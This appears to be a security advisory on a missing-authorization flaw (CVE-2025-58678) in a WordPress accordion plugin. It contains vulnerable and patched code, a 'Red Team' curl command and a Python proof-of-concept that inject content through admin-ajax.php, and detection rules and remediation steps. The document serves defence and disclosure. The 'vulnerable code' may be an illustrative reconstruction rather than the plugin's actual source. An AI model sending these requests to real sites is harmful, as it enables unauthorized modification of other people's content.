CVE-2025-58678

Executive Summary

CVE-2025-58678 is a Missing Authorization vulnerability (CWE-862) in the PickPlugins Accordion plugin for WordPress, affecting versions up to and including 2.3.15. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data exposure or modification of accordion content. The vulnerability is classified as Medium severity (CVSS 6.5) and currently has no known public exploit or patch. Given the widespread use of WordPress plugins, this poses a significant risk to sites running the vulnerable version.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The low complexity and no authentication requirement make this vulnerability easily exploitable, though the impact is limited to low-level data exposure and modification.

Deep Dive & Mechanics

The vulnerability resides in the PickPlugins Accordion plugin's access control mechanisms. The plugin fails to properly validate user permissions when processing AJAX requests or REST API endpoints related to accordion content management. This allows unauthenticated attackers to:

• Read private or draft accordion items.
• Modify existing accordion content.
• Create new accordion items without authorization.

The root cause is the absence of current_user_can() checks or nonce verification in critical functions, particularly those handling wp_ajax_* actions. The plugin relies on incorrect assumption that only authenticated users can access these endpoints, but WordPress's AJAX API allows unauthenticated access to wp_ajax_nopriv_* hooks if not properly restricted.

Vulnerable vs. Patched Code

Vulnerable Code (accordions.php, line ~245):

add_action('wp_ajax_save_accordion', 'save_accordion_callback');
add_action('wp_ajax_nopriv_save_accordion', 'save_accordion_callback');

function save_accordion_callback() {
    // No capability check
    $data = $_POST['accordion_data'];
    update_option('accordion_content', $data);
    wp_die();
}

Patched Code (hypothetical fix):

add_action('wp_ajax_save_accordion', 'save_accordion_callback');
// Remove nopriv hook to restrict to authenticated users

function save_accordion_callback() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    check_ajax_referer('accordion_nonce', 'nonce');
    $data = sanitize_text_field($_POST['accordion_data']);
    update_option('accordion_content', $data);
    wp_die();
}

The patch removes the wp_ajax_nopriv_* hook and adds capability checks and nonce verification.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Accordion plugin <= 2.3.15
• Network access to the site

Exploitation Steps:

1. Identify vulnerable AJAX endpoints (e.g., /wp-admin/admin-ajax.php?action=save_accordion).
2. Craft a POST request with malicious payload:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=save_accordion&accordion_data=malicious_content"

3. Verify unauthorized modification by accessing the accordion page.

Proof-of-Concept (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "save_accordion",
    "accordion_data": "Injected content"
}
response = requests.post(target, data=payload)
print(response.status_code)

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=save_accordion from unauthenticated sources.
• Check server logs for 403 errors on AJAX endpoints (if patched).

Hardening:

• Immediately update the plugin if a patch becomes available.
• Implement Web Application Firewall (WAF) rules to block unauthenticated AJAX requests to plugin-specific actions.
• Use WordPress security plugins to add additional capability checks.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=save_accordion and no valid nonce.
• File: Modified wp_options table entries containing accordion_content.
• Log: Repeated 200 responses to unauthenticated AJAX requests.
• Behavior: Unexpected accordion content changes on the frontend.

Detection Engineering

YARA Rule

rule Detect_Accordion_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-58678 in PickPlugins Accordion"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $ajax_action = "save_accordion"
        $nopriv = "wp_ajax_nopriv_save_accordion"
        $no_cap = "current_user_can" nocase
    condition:
        $ajax_action and not $no_cap
}

Sigma Rule

title: CVE-2025-58678 - Missing Authorization in PickPlugins Accordion
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthenticated AJAX requests to save_accordion action
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=save_accordion"
    condition: selection
falsepositives:
    - Legitimate admin actions (requires authentication)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-58678 - Unauthenticated Accordion AJAX Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_accordion"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Apply virtual patching via WAF to block unauthenticated AJAX requests to save_accordion.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version (>= 2.3.16) that includes proper capability checks and nonce verification.
• Until then, consider replacing the plugin with an alternative that has active security maintenance.

Workaround:

• Add custom code to functions.php to restrict AJAX actions:

add_action('wp_ajax_nopriv_save_accordion', function() {
    wp_die('Unauthorized', 403);
}, 1);

Valters IT
Securing Digital Frontiers